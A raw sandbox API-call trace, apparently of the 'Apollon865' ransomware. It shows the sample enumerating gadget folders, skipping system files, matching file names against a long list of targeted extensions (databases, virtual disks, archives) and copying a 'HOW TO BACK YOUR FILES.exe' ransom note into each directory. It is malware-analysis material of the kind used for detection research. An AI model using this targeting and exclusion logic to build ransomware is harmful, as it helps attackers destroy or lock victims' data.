	[0051.956] lstrcmpiW (lpString1="tml", lpString2="wrk") returned -1
	[0051.957] lstrlenW (lpString="xdb") returned 3
	[0051.957] lstrcmpiW (lpString1="tml", lpString2="xdb") returned -1
	[0051.957] lstrlenW (lpString="xld") returned 3
	[0051.957] lstrcmpiW (lpString1="tml", lpString2="xld") returned -1
	[0051.957] lstrlenW (lpString="xmlff") returned 5
	[0051.957] lstrcmpiW (lpString1=".html", lpString2="xmlff") returned -1
	[0051.957] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x156a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1
	[0051.957] lstrcmpiW (lpString1="settings.html", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.957] lstrcmpiW (lpString1="settings.html", lpString2="Apollon865.txt.exe") returned 1
	[0051.957] lstrcmpiW (lpString1="settings.html", lpString2=".") returned 1
	[0051.957] lstrcmpiW (lpString1="settings.html", lpString2="..") returned 1
	[0051.957] lstrcmpiW (lpString1="settings.html", lpString2="windows") returned -1
	[0051.957] lstrcmpiW (lpString1="settings.html", lpString2="bootmgr") returned 1
	[0051.957] lstrcmpiW (lpString1="settings.html", lpString2="temp") returned -1
	[0051.957] lstrcmpiW (lpString1="settings.html", lpString2="pagefile.sys") returned 1
	[0051.957] lstrcmpiW (lpString1="settings.html", lpString2="boot") returned 1
	[0051.957] lstrcmpiW (lpString1="settings.html", lpString2="ids.txt") returned 1
	[0051.957] lstrcmpiW (lpString1="settings.html", lpString2="ntuser.dat") returned 1
	[0051.957] lstrcmpiW (lpString1="settings.html", lpString2="perflogs") returned 1
	[0051.957] lstrcmpiW (lpString1="settings.html", lpString2="MSBuild") returned 1
	[0051.957] lstrlenW (lpString="settings.html") returned 13
	[0051.957] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\picturePuzzle.html") returned 92
	[0051.957] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="settings.html" | out: lpString1="settings.html") returned="settings.html"
	[0051.957] lstrlenW (lpString="settings.html") returned 13
	[0051.957] lstrlenW (lpString="Apollon865") returned 10
	[0051.957] lstrcmpiW (lpString1="tings.html", lpString2="Apollon865") returned 1
	[0051.957] lstrlenW (lpString=".dll") returned 4
	[0051.957] lstrcmpiW (lpString1="settings.html", lpString2=".dll") returned 1
	[0051.957] lstrlenW (lpString=".lnk") returned 4
	[0051.957] lstrcmpiW (lpString1="settings.html", lpString2=".lnk") returned 1
	[0051.957] lstrlenW (lpString=".ini") returned 4
	[0051.958] lstrcmpiW (lpString1="settings.html", lpString2=".ini") returned 1
	[0051.958] lstrlenW (lpString=".sys") returned 4
	[0051.958] lstrcmpiW (lpString1="settings.html", lpString2=".sys") returned 1
	[0051.958] lstrlenW (lpString="settings.html") returned 13
	[0051.958] lstrlenW (lpString="bak") returned 3
	[0051.958] lstrcmpiW (lpString1="tml", lpString2="bak") returned 1
	[0051.958] lstrlenW (lpString="ba_") returned 3
	[0051.958] lstrcmpiW (lpString1="tml", lpString2="ba_") returned 1
	[0051.958] lstrlenW (lpString="dbb") returned 3
	[0051.958] lstrcmpiW (lpString1="tml", lpString2="dbb") returned 1
	[0051.958] lstrlenW (lpString="vmdk") returned 4
	[0051.958] lstrcmpiW (lpString1="html", lpString2="vmdk") returned -1
	[0051.958] lstrlenW (lpString="rar") returned 3
	[0051.958] lstrcmpiW (lpString1="tml", lpString2="rar") returned 1
	[0051.958] lstrlenW (lpString="zip") returned 3
	[0051.958] lstrcmpiW (lpString1="tml", lpString2="zip") returned -1
	[0051.958] lstrlenW (lpString="tgz") returned 3
	[0051.958] lstrcmpiW (lpString1="tml", lpString2="tgz") returned 1
	[0051.958] lstrlenW (lpString="vbox") returned 4
	[0051.958] lstrcmpiW (lpString1="html", lpString2="vbox") returned -1
	[0051.958] lstrlenW (lpString="vdi") returned 3
	[0051.958] lstrcmpiW (lpString1="tml", lpString2="vdi") returned -1
	[0051.958] lstrlenW (lpString="vhd") returned 3
	[0051.958] lstrcmpiW (lpString1="tml", lpString2="vhd") returned -1
	[0051.958] lstrlenW (lpString="vhdx") returned 4
	[0051.958] lstrcmpiW (lpString1="html", lpString2="vhdx") returned -1
	[0051.958] lstrlenW (lpString="avhd") returned 4
	[0051.958] lstrcmpiW (lpString1="html", lpString2="avhd") returned 1
	[0051.958] lstrlenW (lpString="db") returned 2
	[0051.958] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0051.958] lstrlenW (lpString="db2") returned 3
	[0051.958] lstrcmpiW (lpString1="tml", lpString2="db2") returned 1
	[0051.958] lstrlenW (lpString="db3") returned 3
	[0051.958] lstrcmpiW (lpString1="tml", lpString2="db3") returned 1
	[0051.959] lstrlenW (lpString="dbf") returned 3
	[0051.959] lstrcmpiW (lpString1="tml", lpString2="dbf") returned 1
	[0051.959] lstrlenW (lpString="mdf") returned 3
	[0051.959] lstrcmpiW (lpString1="tml", lpString2="mdf") returned 1
	[0051.959] lstrlenW (lpString="mdb") returned 3
	[0051.959] lstrcmpiW (lpString1="tml", lpString2="mdb") returned 1
	[0051.959] lstrlenW (lpString="sql") returned 3
	[0051.959] lstrcmpiW (lpString1="tml", lpString2="sql") returned 1
	[0051.959] lstrlenW (lpString="sqlite") returned 6
	[0051.959] lstrcmpiW (lpString1="s.html", lpString2="sqlite") returned -1
	[0051.959] lstrlenW (lpString="sqlite3") returned 7
	[0051.959] lstrcmpiW (lpString1="gs.html", lpString2="sqlite3") returned -1
	[0051.959] lstrlenW (lpString="sqlitedb") returned 8
	[0051.959] lstrcmpiW (lpString1="ngs.html", lpString2="sqlitedb") returned -1
	[0051.959] lstrlenW (lpString="xml") returned 3
	[0051.959] lstrcmpiW (lpString1="tml", lpString2="xml") returned -1
	[0051.959] lstrlenW (lpString="$er") returned 3
	[0051.959] lstrcmpiW (lpString1="tml", lpString2="$er") returned 1
	[0051.959] lstrlenW (lpString="4dd") returned 3
	[0051.959] lstrcmpiW (lpString1="tml", lpString2="4dd") returned 1
	[0051.959] lstrlenW (lpString="4dl") returned 3
	[0051.959] lstrcmpiW (lpString1="tml", lpString2="4dl") returned 1
	[0051.959] lstrlenW (lpString="^^^") returned 3
	[0051.959] lstrcmpiW (lpString1="tml", lpString2="^^^") returned 1
	[0051.959] lstrlenW (lpString="abs") returned 3
	[0051.959] lstrcmpiW (lpString1="tml", lpString2="abs") returned 1
	[0051.959] lstrlenW (lpString="abx") returned 3
	[0051.959] lstrcmpiW (lpString1="tml", lpString2="abx") returned 1
	[0051.959] lstrlenW (lpString="accdb") returned 5
	[0051.959] lstrcmpiW (lpString1=".html", lpString2="accdb") returned -1
	[0051.959] lstrlenW (lpString="accdc") returned 5
	[0051.959] lstrcmpiW (lpString1=".html", lpString2="accdc") returned -1
	[0051.959] lstrlenW (lpString="accde") returned 5
	[0051.959] lstrcmpiW (lpString1=".html", lpString2="accde") returned -1
	[0051.959] lstrlenW (lpString="accdr") returned 5
	[0051.960] lstrcmpiW (lpString1=".html", lpString2="accdr") returned -1
	[0051.960] lstrlenW (lpString="accdt") returned 5
	[0051.960] lstrcmpiW (lpString1=".html", lpString2="accdt") returned -1
	[0051.960] lstrlenW (lpString="accdw") returned 5
	[0051.960] lstrcmpiW (lpString1=".html", lpString2="accdw") returned -1
	[0051.960] lstrlenW (lpString="accft") returned 5
	[0051.960] lstrcmpiW (lpString1=".html", lpString2="accft") returned -1
	[0051.960] lstrlenW (lpString="adb") returned 3
	[0051.960] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0051.960] lstrlenW (lpString="adb") returned 3
	[0051.960] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0051.960] lstrlenW (lpString="ade") returned 3
	[0051.960] lstrcmpiW (lpString1="tml", lpString2="ade") returned 1
	[0051.960] lstrlenW (lpString="adf") returned 3
	[0051.960] lstrcmpiW (lpString1="tml", lpString2="adf") returned 1
	[0051.960] lstrlenW (lpString="adn") returned 3
	[0051.960] lstrcmpiW (lpString1="tml", lpString2="adn") returned 1
	[0051.960] lstrlenW (lpString="adp") returned 3
	[0051.960] lstrcmpiW (lpString1="tml", lpString2="adp") returned 1
	[0051.960] lstrlenW (lpString="alf") returned 3
	[0051.960] lstrcmpiW (lpString1="tml", lpString2="alf") returned 1
	[0051.960] lstrlenW (lpString="ask") returned 3
	[0051.960] lstrcmpiW (lpString1="tml", lpString2="ask") returned 1
	[0051.960] lstrlenW (lpString="btr") returned 3
	[0051.960] lstrcmpiW (lpString1="tml", lpString2="btr") returned 1
	[0051.960] lstrlenW (lpString="cat") returned 3
	[0051.960] lstrcmpiW (lpString1="tml", lpString2="cat") returned 1
	[0051.960] lstrlenW (lpString="cdb") returned 3
	[0051.960] lstrcmpiW (lpString1="tml", lpString2="cdb") returned 1
	[0051.960] lstrlenW (lpString="ckp") returned 3
	[0051.960] lstrcmpiW (lpString1="tml", lpString2="ckp") returned 1
	[0051.960] lstrlenW (lpString="cma") returned 3
	[0051.960] lstrcmpiW (lpString1="tml", lpString2="cma") returned 1
	[0051.961] lstrlenW (lpString="cpd") returned 3
	[0051.961] lstrcmpiW (lpString1="tml", lpString2="cpd") returned 1
	[0051.961] lstrlenW (lpString="dacpac") returned 6
	[0051.961] lstrcmpiW (lpString1="s.html", lpString2="dacpac") returned 1
	[0051.961] lstrlenW (lpString="dad") returned 3
	[0051.961] lstrcmpiW (lpString1="tml", lpString2="dad") returned 1
	[0051.961] lstrlenW (lpString="dadiagrams") returned 10
	[0051.961] lstrcmpiW (lpString1="tings.html", lpString2="dadiagrams") returned 1
	[0051.961] lstrlenW (lpString="daschema") returned 8
	[0051.961] lstrcmpiW (lpString1="ngs.html", lpString2="daschema") returned 1
	[0051.961] lstrlenW (lpString="db-journal") returned 10
	[0051.961] lstrcmpiW (lpString1="tings.html", lpString2="db-journal") returned 1
	[0051.961] lstrlenW (lpString="db-shm") returned 6
	[0051.961] lstrcmpiW (lpString1="s.html", lpString2="db-shm") returned 1
	[0051.961] lstrlenW (lpString="db-wal") returned 6
	[0051.961] lstrcmpiW (lpString1="s.html", lpString2="db-wal") returned 1
	[0051.961] lstrlenW (lpString="dbc") returned 3
	[0051.961] lstrcmpiW (lpString1="tml", lpString2="dbc") returned 1
	[0051.961] lstrlenW (lpString="dbs") returned 3
	[0051.961] lstrcmpiW (lpString1="tml", lpString2="dbs") returned 1
	[0051.961] lstrlenW (lpString="dbt") returned 3
	[0051.961] lstrcmpiW (lpString1="tml", lpString2="dbt") returned 1
	[0051.961] lstrlenW (lpString="dbv") returned 3
	[0051.961] lstrcmpiW (lpString1="tml", lpString2="dbv") returned 1
	[0051.961] lstrlenW (lpString="dbx") returned 3
	[0051.961] lstrcmpiW (lpString1="tml", lpString2="dbx") returned 1
	[0051.961] lstrlenW (lpString="dcb") returned 3
	[0051.961] lstrcmpiW (lpString1="tml", lpString2="dcb") returned 1
	[0051.961] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js"
	[0051.962] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599568 | out: hHeap=0x580000) returned 1
	[0051.962] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0051.962] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js") returned 76
	[0051.962] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js"
	[0051.962] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.962] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.983] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.983] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x370a96b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x370a96b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.983] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.983] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.983] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.983] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x370a96b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x370a96b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.983] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.983] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.983] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.983] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.983] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x370a96b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x370a96b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.983] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.983] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbaa2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="picturePuzzle.js", cAlternateFileName="")) returned 1
	[0051.983] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.983] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="Apollon865.txt.exe") returned 1
	[0051.983] lstrcmpiW (lpString1="picturePuzzle.js", lpString2=".") returned 1
	[0051.983] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="..") returned 1
	[0051.983] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="windows") returned -1
	[0051.983] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="bootmgr") returned 1
	[0051.983] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="temp") returned -1
	[0051.983] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="pagefile.sys") returned 1
	[0051.983] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="boot") returned 1
	[0051.983] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="ids.txt") returned 1
	[0051.983] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="ntuser.dat") returned 1
	[0051.983] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="perflogs") returned 1
	[0051.984] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="MSBuild") returned 1
	[0051.984] lstrlenW (lpString="picturePuzzle.js") returned 16
	[0051.984] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*") returned 78
	[0051.984] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="picturePuzzle.js" | out: lpString1="picturePuzzle.js") returned="picturePuzzle.js"
	[0051.984] lstrlenW (lpString="picturePuzzle.js") returned 16
	[0051.984] lstrlenW (lpString="Apollon865") returned 10
	[0051.984] lstrcmpiW (lpString1="ePuzzle.js", lpString2="Apollon865") returned 1
	[0051.984] lstrlenW (lpString=".dll") returned 4
	[0051.984] lstrcmpiW (lpString1="picturePuzzle.js", lpString2=".dll") returned 1
	[0051.984] lstrlenW (lpString=".lnk") returned 4
	[0051.984] lstrcmpiW (lpString1="picturePuzzle.js", lpString2=".lnk") returned 1
	[0051.984] lstrlenW (lpString=".ini") returned 4
	[0051.984] lstrcmpiW (lpString1="picturePuzzle.js", lpString2=".ini") returned 1
	[0051.984] lstrlenW (lpString=".sys") returned 4
	[0051.984] lstrcmpiW (lpString1="picturePuzzle.js", lpString2=".sys") returned 1
	[0051.984] lstrlenW (lpString="picturePuzzle.js") returned 16
	[0051.984] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="settings.js" | out: lpString1="settings.js") returned="settings.js"
	[0051.984] lstrlenW (lpString="settings.js") returned 11
	[0051.984] lstrlenW (lpString="Apollon865") returned 10
	[0051.984] lstrcmpiW (lpString1="ettings.js", lpString2="Apollon865") returned 1
	[0051.984] lstrlenW (lpString=".dll") returned 4
	[0051.984] lstrcmpiW (lpString1="settings.js", lpString2=".dll") returned 1
	[0051.984] lstrlenW (lpString=".lnk") returned 4
	[0051.984] lstrcmpiW (lpString1="settings.js", lpString2=".lnk") returned 1
	[0051.984] lstrlenW (lpString=".ini") returned 4
	[0051.984] lstrcmpiW (lpString1="settings.js", lpString2=".ini") returned 1
	[0051.984] lstrlenW (lpString=".sys") returned 4
	[0051.984] lstrcmpiW (lpString1="settings.js", lpString2=".sys") returned 1
	[0051.984] lstrlenW (lpString="settings.js") returned 11
	[0051.985] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css"
	[0051.985] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0051.985] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0051.985] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css") returned 77
	[0051.985] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css"
	[0051.985] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.985] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.988] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.988] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x370f5970, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x370f5970, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.989] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.989] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.989] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.989] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x370f5970, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x370f5970, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.989] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.989] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.989] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.989] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.989] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x370f5970, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x370f5970, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.989] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.989] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1172, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="picturePuzzle.css", cAlternateFileName="")) returned 1
	[0051.989] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.989] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="Apollon865.txt.exe") returned 1
	[0051.989] lstrcmpiW (lpString1="picturePuzzle.css", lpString2=".") returned 1
	[0051.989] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="..") returned 1
	[0051.989] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="windows") returned -1
	[0051.989] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="bootmgr") returned 1
	[0051.989] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="temp") returned -1
	[0051.989] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="pagefile.sys") returned 1
	[0051.989] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="boot") returned 1
	[0051.989] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="ids.txt") returned 1
	[0051.989] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="ntuser.dat") returned 1
	[0051.989] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="perflogs") returned 1
	[0051.989] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="MSBuild") returned 1
	[0051.989] lstrlenW (lpString="picturePuzzle.css") returned 17
	[0051.989] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*") returned 79
	[0051.989] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="picturePuzzle.css" | out: lpString1="picturePuzzle.css") returned="picturePuzzle.css"
	[0051.989] lstrlenW (lpString="picturePuzzle.css") returned 17
	[0051.989] lstrlenW (lpString="Apollon865") returned 10
	[0051.989] lstrcmpiW (lpString1="Puzzle.css", lpString2="Apollon865") returned 1
	[0051.990] lstrlenW (lpString=".dll") returned 4
	[0051.990] lstrcmpiW (lpString1="picturePuzzle.css", lpString2=".dll") returned 1
	[0051.990] lstrlenW (lpString=".lnk") returned 4
	[0051.990] lstrcmpiW (lpString1="picturePuzzle.css", lpString2=".lnk") returned 1
	[0051.990] lstrlenW (lpString=".ini") returned 4
	[0051.990] lstrcmpiW (lpString1="picturePuzzle.css", lpString2=".ini") returned 1
	[0051.990] lstrlenW (lpString=".sys") returned 4
	[0051.990] lstrcmpiW (lpString1="picturePuzzle.css", lpString2=".sys") returned 1
	[0051.990] lstrlenW (lpString="picturePuzzle.css") returned 17
	[0051.991] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="settings.css" | out: lpString1="settings.css") returned="settings.css"
	[0051.991] lstrlenW (lpString="settings.css") returned 12
	[0051.992] lstrlenW (lpString="Apollon865") returned 10
	[0051.992] lstrcmpiW (lpString1="ttings.css", lpString2="Apollon865") returned 1
	[0051.992] lstrlenW (lpString=".dll") returned 4
	[0051.992] lstrcmpiW (lpString1="settings.css", lpString2=".dll") returned 1
	[0051.992] lstrlenW (lpString=".lnk") returned 4
	[0051.992] lstrcmpiW (lpString1="settings.css", lpString2=".lnk") returned 1
	[0051.992] lstrlenW (lpString=".ini") returned 4
	[0051.992] lstrcmpiW (lpString1="settings.css", lpString2=".ini") returned 1
	[0051.992] lstrlenW (lpString=".sys") returned 4
	[0051.992] lstrcmpiW (lpString1="settings.css", lpString2=".sys") returned 1
	[0051.992] lstrlenW (lpString="settings.css") returned 12
	[0051.997] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget"
	[0051.997] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0051.997] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0051.997] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget") returned 62
